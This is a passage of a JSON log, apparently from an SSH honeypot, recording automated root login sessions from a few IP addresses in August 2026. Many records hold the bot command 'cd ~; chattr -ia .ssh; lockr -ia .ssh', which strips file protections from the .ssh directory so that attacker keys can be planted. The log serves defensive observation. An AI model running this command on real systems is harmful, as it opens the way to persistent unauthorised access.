  "src_ip": "101.96.209.234",
  "src_port": 35716,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:58:12.154069+00:00",
  "ended_at": "2026-08-26T23:02:12.387864+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "48a02821-9c28-49b2-a275-dbf93718a57c",
  "name": "northern-diligent-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 57256,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:54:02.157985+00:00",
  "ended_at": "2026-08-26T22:54:03.018766+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "7e666b73-ea45-4ad2-a0ff-2041491359b3",
  "name": "jaunty-grassy-pheasant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 57276,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:53:38.383179+00:00",
  "ended_at": "2026-08-26T22:53:40.179348+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "22fe2092-f0d9-4d16-894b-ecbb034222d0",
  "name": "velvet-burly-oriole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 59282,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:48:14.443094+00:00",
  "ended_at": "2026-08-26T22:48:15.808304+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "b81bebce-2bf2-4f8a-87ee-4bea18d348f2",
  "name": "faded-seaward-cicada",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 59296,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:47:51.426328+00:00",
  "ended_at": "2026-08-26T22:47:52.333963+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ec09ed94-afa2-4205-acf3-95495791b286",
  "name": "ginger-blazing-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 33740,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:45:45.072248+00:00",
  "ended_at": "2026-08-26T22:49:45.637392+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4e719400-061f-4e49-adcd-cf9a46eb27dc",
  "name": "candid-diligent-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 41206,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:40:30.789721+00:00",
  "ended_at": "2026-08-26T22:40:31.645165+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "37d8b013-4336-491b-874f-487d26d24c2d",
  "name": "sooty-thorny-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 57352,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:40:12.145325+00:00",
  "ended_at": "2026-08-26T22:40:12.963830+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "234121c6-c9e6-48f3-b120-fc8473397bec",
  "name": "prairie-thawing-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 50274,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:36:31.926723+00:00",
  "ended_at": "2026-08-26T22:36:33.135610+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "30ceb815-0a7e-491d-afa9-37bb9f611f70",
  "name": "jaunty-craggy-plover",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 50286,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:36:08.526655+00:00",
  "ended_at": "2026-08-26T22:36:10.024406+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8889b794-3420-499b-ba77-e0fca6219a78",
  "name": "bitter-vernal-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 51584,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:32:36.517304+00:00",
  "ended_at": "2026-08-26T22:32:37.388096+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "ff6df460-6b00-43cd-80b0-768dd221279d",
  "name": "creaky-placid-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 51600,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:32:13.659769+00:00",
  "ended_at": "2026-08-26T22:32:14.851391+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f13ddc6a-8276-4281-b3e3-e91d11f18595",
  "name": "fringed-canny-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 48524,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:28:36.867877+00:00",
  "ended_at": "2026-08-26T22:28:38.389448+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "6fdf6892-d37a-4dc0-8697-f1d20d1154d8",
  "name": "mindful-hollow-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 48536,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:28:25.540296+00:00",
  "ended_at": "2026-08-26T22:28:26.380172+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c8627d04-62b1-494d-82ff-b6cc011a3e3a",
  "name": "lawful-woven-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 54148,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:18:25.699676+00:00",
  "ended_at": "2026-08-26T22:18:27.811255+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "abd4857c-1601-42f2-8662-50652b484fcf",
  "name": "solar-chilly-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 54168,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:18:05.742126+00:00",
  "ended_at": "2026-08-26T22:18:06.343189+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c80ea31-a5d7-47d8-9d64-fa955b5c95c6",
  "name": "glassy-steady-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 34022,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:14:40.341165+00:00",
  "ended_at": "2026-08-26T22:14:41.446011+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "6fe7ac7a-587d-4255-ace9-fc2b75f61720",
  "name": "placid-primal-nightjar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 34044,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:14:16.533469+00:00",
  "ended_at": "2026-08-26T22:14:17.586794+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "82402443-6f96-469b-a4d5-294c291787b9",
  "name": "lawful-wiry-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.42.72",
  "src_port": 29778,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:13:26.978897+00:00",
  "ended_at": "2026-08-26T22:13:27.330807+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "90c527d1-48c6-4a7e-b55d-45fe617f00d2",
  "name": "twilight-salty-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 52062,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:12:36.684422+00:00",
  "ended_at": "2026-08-26T22:12:38.672663+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "efdc1219-3516-48ab-a614-25ea7233f309",
  "name": "restless-zealous-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 52084,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:12:14.601604+00:00",
  "ended_at": "2026-08-26T22:12:16.295217+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bb42f020-30f3-48f4-ba69-533aac8acef4",
  "name": "dapper-frosty-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 37444,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:10:41.273002+00:00",
  "ended_at": "2026-08-26T22:10:42.385536+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "b1a72d1a-0557-4c90-9bf9-729c75fd2017",
  "name": "vernal-shaded-koala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 37464,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:10:20.378540+00:00",
  "ended_at": "2026-08-26T22:10:21.636346+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6d235e27-e165-46dc-8ac2-95f6bf835fed",
  "name": "sterling-craggy-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 37062,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:08:43.418751+00:00",
  "ended_at": "2026-08-26T22:08:44.723626+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "54495723-f0c6-41df-aaf6-2b74082b8eb5",
  "name": "crisp-merry-vulture",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 39852,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:08:23.671409+00:00",
  "ended_at": "2026-08-26T22:08:25.373133+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5c3a7c5e-09ab-45fb-96f1-72a11c840af0",
  "name": "lively-diligent-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 50540,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:00:42.826853+00:00",
  "ended_at": "2026-08-26T22:00:44.379794+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "74eca659-8e4f-4deb-8bcf-4ed4973727cc",
  "name": "primal-pewter-okapi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 50566,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:00:23.713800+00:00",
  "ended_at": "2026-08-26T22:00:24.479875+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "910bee72-8600-4d52-af3a-d73a00585467",
  "name": "coral-lively-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 40922,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 70,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:54:51.098099+00:00",
  "ended_at": "2026-08-26T21:54:51.967026+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2282
 },
 {
  "id": "0498749f-c4b4-4fe3-9cc2-28feee0faf60",
  "name": "stoic-mighty-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 40936,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:54:35.747603+00:00",
  "ended_at": "2026-08-26T21:54:37.172797+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e0a23090-474a-4bcc-b4e2-c83a6a258114",
  "name": "dewy-faded-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 45852,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 68,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:50:48.908832+00:00",
  "ended_at": "2026-08-26T21:50:50.825332+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2260
 },
 {
  "id": "f955c151-5395-4a68-9b6f-acc9a7fefb86",
  "name": "mossy-gleaming-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 45856,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:50:37.577925+00:00",
  "ended_at": "2026-08-26T21:50:39.316891+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "19a88dac-d478-40f2-a4ab-5ecb2d32a4d4",
  "name": "bold-nameless-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 56664,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 71,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:46:42.168677+00:00",
  "ended_at": "2026-08-26T21:46:44.366812+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2238
 },
 {
  "id": "7d5eabc0-9ce9-4931-bb40-0e4adb82b619",
  "name": "lanky-fierce-goldcrest",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 56686,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:46:31.407659+00:00",
  "ended_at": "2026-08-26T21:46:31.923916+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "059c6b34-6a11-4ee8-9da5-b7a07a304924",
  "name": "frank-merry-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 42310,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:46:29.722489+00:00",
  "ended_at": "2026-08-26T21:50:29.739671+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "166321da-63f0-4468-8d63-1b52afeb94dd",
  "name": "blazing-sunlit-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 54718,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:43:05.878612+00:00",
  "ended_at": "2026-08-26T21:47:05.886879+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "4cd4cfa2-a3e0-4e5d-96a9-2f2538ed1b79",
  "name": "placid-emerald-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 39934,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:42:51.688062+00:00",
  "ended_at": "2026-08-26T21:42:53.178355+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2216
 },
 {
  "id": "72502d8e-bba5-4aec-9a55-3349dfe18764",
  "name": "sturdy-kindly-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 39950,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:42:41.118603+00:00",
  "ended_at": "2026-08-26T21:42:41.736904+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f94fc549-d7ec-40c8-a223-8b20c6e0ed4f",
  "name": "lawful-merry-toucan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 44310,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 68,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:40:48.158444+00:00",
  "ended_at": "2026-08-26T21:40:49.292764+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2203
 },
 {
  "id": "e1aa9bc3-c13b-4259-853f-acf6edf33680",
  "name": "emerald-bashful-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 44332,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:40:36.946212+00:00",
  "ended_at": "2026-08-26T21:40:38.347028+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7db919dd-d72b-4961-897a-fa558ce6d909",
  "name": "courtly-dewy-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 57444,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 70,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:38:55.902990+00:00",
  "ended_at": "2026-08-26T21:38:57.202707+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2194
 },
 {
  "id": "d041e9d4-f323-49bf-bb40-dba0b5e6a423",
  "name": "electric-gritty-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 57464,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:38:44.881878+00:00",
  "ended_at": "2026-08-26T21:38:46.605902+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bb45dbdb-4045-4094-9ed3-6209e9e31690",
  "name": "glacial-vernal-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "41.111.227.10",
  "src_port": 51206,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 508,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:37:13.185250+00:00",
  "ended_at": "2026-08-26T21:37:13.851923+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "006ed78b-7840-4129-bcb3-3bd7958bc788",
  "name": "hazel-ashen-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "41.111.227.10",
  "src_port": 51216,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:37:02.474203+00:00",
  "ended_at": "2026-08-26T21:37:03.593815+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0f22c5aa-bc0d-4de4-92dc-df46039b662f",
  "name": "painted-wiry-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 47040,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:35:05.727119+00:00",
  "ended_at": "2026-08-26T21:35:07.870729+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2183
 },
 {
  "id": "a52282ab-945c-4288-ac35-1a2fac3ee000",
  "name": "eager-hazel-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 53660,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:34:42.214964+00:00",
  "ended_at": "2026-08-26T21:34:44.077157+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5e466ecf-96c8-48a2-81bb-9aa6878ab1fe",
  "name": "forlorn-airy-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 49734,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:31:03.393133+00:00",
  "ended_at": "2026-08-26T21:31:05.334337+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2159
 },
 {
  "id": "ad9ce07b-4f2a-4c1d-a433-de8937e3130b",
  "name": "snowy-spirited-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 49754,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:30:41.725430+00:00",
  "ended_at": "2026-08-26T21:30:43.072247+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8d3d7962-2361-41fb-b214-58651d26d07b",
  "name": "pewter-gallant-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 55372,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:29:02.848236+00:00",
  "ended_at": "2026-08-26T21:29:04.782689+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2150
 },
 {
  "id": "da569cd6-8459-4edd-a662-b583c9179057",
  "name": "faded-spirited-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 49398,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:28:42.356267+00:00",
  "ended_at": "2026-08-26T21:28:44.197918+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1fec95c7-044b-4fc2-be60-59b63ff187be",
  "name": "vernal-peaty-teal",
  "protocol": "ssh",
